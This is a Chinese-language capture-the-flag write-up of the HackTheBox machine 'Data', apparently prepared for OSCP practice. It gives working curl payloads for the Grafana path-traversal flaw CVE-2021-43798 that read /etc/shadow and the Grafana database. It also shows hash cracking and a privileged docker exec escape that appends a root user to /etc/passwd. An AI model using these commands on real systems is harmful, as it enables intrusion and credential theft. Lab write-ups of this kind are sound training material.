OSCP Data Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Data

靶场地址:

https://app.hackthebox.com/machines/673

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

Grafana 任意文件读取 –> 数据库 sqlite 文件 –> 数据库用户密码解密 –> 系统 boris 用户权限 –> 用户旗帜

权限提升(获取管理员旗帜):

docker exec sudo 权限 –> 设置 shell privileged 特权 –> 容器挂载宿主机根目录 –> /etc/passwd 添加高权限账号 –> 系统 root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

使用 nmap 对靶机进行端口扫描。

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 10.129.204.80 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp

UDP 端口扫描:未发现可利用的端口。

继续使用 nmap 对已开放端口的服务进行信息收集。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo nmap -p22,3000 -sCV 10.129.204.80

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
| 256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
|_ 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
3000/tcp open http Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

由此得出结论:

系统为 Linux 环境,开放有 HTTP 和 SSH 服务。

3.2 渗透测试突破边界

3.2.1 Grafana 任意文件读取漏洞

访问靶机 HTTP 3000 端口,发现系统使用了 Grafana 8.0.0 版本。

搜索引擎检索得知系统 8.0.0 版本历史存在任意文件读取漏洞(CVE-2021-43798)。

kali 本地存在漏洞利用脚本,可直接使用。

通过 Wireshark 抓包可得到具体 payload。

1
http://10.129.204.80/public/plugins/welcome/../../../../../../../../../../../../../etc/passwd

参考如下链接,可利用该漏洞读取系统敏感文件。

1
https://github.com/MalekAlthubiany/CVE-2021-43798

1
2
3
4
5
6
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"

读取配置文件信息时,可得到系统配置文件路径、sqlite 数据库名称以及 secret_key。

1
curl --path-as-is http://10.129.204.80:3000/public/plugins/welcome/../../../../../../../../../../../../../etc/grafana/grafana.ini

下载 sqlite 数据库。

1
curl --path-as-is 'http://10.129.204.80:3000/public/plugins/welcome/../../../../../../../../../../../../../var/lib/grafana/grafana.db' -o sql.db

3.2.2 Grafana 数据库用户密码解密

使用 sqlite3 或 dbeaver 工具打开 db 文件,在 user 表得到两个加密的用户密码。

将密码转换为 hashcat 可识别格式,破解得到 boris 用户明文密码。

参考链接:

1
https://github.com/iamaldi/grafana2hashcat/blob/main/grafana2hashcat.py

首先将加密密码和盐写入文本中,然后运行转换脚本。

hashcat 执行密码破解。

使用获取的用户密码,可 ssh 登录靶机。

3.2.3 用户旗帜获取

3.3 提权获取系统最高权限

3.3.1 Docker exec sudo 权限滥用(privileged 特权)

sudo -l 发现系统可通过任意用户执行 /snap/bin/docker exec * 命令,怀疑系统存在 docker 环境。

通过 ps -aux | less 发现容器 ID。

docker exec --privileged 参数可授予 shell 特殊权限,通过该权限可尝试挂在宿主机已知设备。

宿主机 /dev/sda1 挂在了系统根分区,我们可尝试特权模式进行容器 shell 挂载宿主机/dev/sda1

1
2
3
sudo -u root /snap/bin/docker exec -u root --privileged -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
mkdir /123
mount /dev/sda1 /123

此时我们通过创建的 123 目录可查看、修改宿主机文件,在 passwd 文件写入高权限用户得到系统 root 权限。

1
2
openssl passwd -1 -salt GitRekt 123
echo 'hack:$1$GitRekt$Ux0cdGvm702nQqiewE1UO0:0:0:,,,:/root:/bin/bash' >> /123/etc/passwd

回到宿主机,切换至创建的用户,得到系统 root 权限。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Data Write-up
https://www.f0nesec.top/2025/10/20/oscp-data/
作者
F0ne
发布于
2025年10月20日
许可协议